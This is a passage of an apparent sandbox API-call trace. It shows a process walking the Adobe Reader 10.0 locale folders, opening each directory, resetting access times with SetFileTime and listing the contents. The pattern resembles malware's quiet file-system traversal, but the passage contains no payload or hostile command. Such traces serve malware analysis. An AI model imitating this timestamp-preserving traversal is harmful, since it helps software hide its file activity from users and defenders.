ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.425] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.425] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.425] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.425] GetLastError () returned 0x12 [0251.425] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.425] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.425] GetLastError () returned 0x12 [0251.426] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.426] GetLastError () returned 0x12 [0251.426] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.427] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.427] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.427] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.428] GetLastError () returned 0x12 [0251.428] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.428] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.430] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.430] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.430] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.430] GetLastError () returned 0x12 [0251.430] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.430] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.430] GetLastError () returned 0x12 [0251.430] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.430] GetLastError () returned 0x12 [0251.430] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.435] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.435] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.435] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.437] GetLastError () returned 0x12 [0251.437] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.437] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.437] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.437] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.438] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.438] GetLastError () returned 0x12 [0251.438] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.439] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.439] GetLastError () returned 0x12 [0251.439] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.439] GetLastError () returned 0x12 [0251.439] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.439] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.439] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.439] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.441] GetLastError () returned 0x12 [0251.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.442] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.443] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.443] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.443] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.443] GetLastError () returned 0x12 [0251.443] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.443] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.443] GetLastError () returned 0x12 [0251.443] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.444] GetLastError () returned 0x12 [0251.444] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.445] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.445] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.445] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.446] GetLastError () returned 0x12 [0251.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.447] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.447] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.447] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.447] GetLastError () returned 0x12 [0251.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.447] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.448] GetLastError () returned 0x12 [0251.448] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.448] GetLastError () returned 0x12 [0251.448] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.449] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.449] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.449] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.451] GetLastError () returned 0x12 [0251.451] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.451] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.452] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.452] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.452] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.452] GetLastError () returned 0x12 [0251.452] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.452] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.453] GetLastError () returned 0x12 [0251.453] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.453] GetLastError () returned 0x12 [0251.453] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.457] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.457] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, 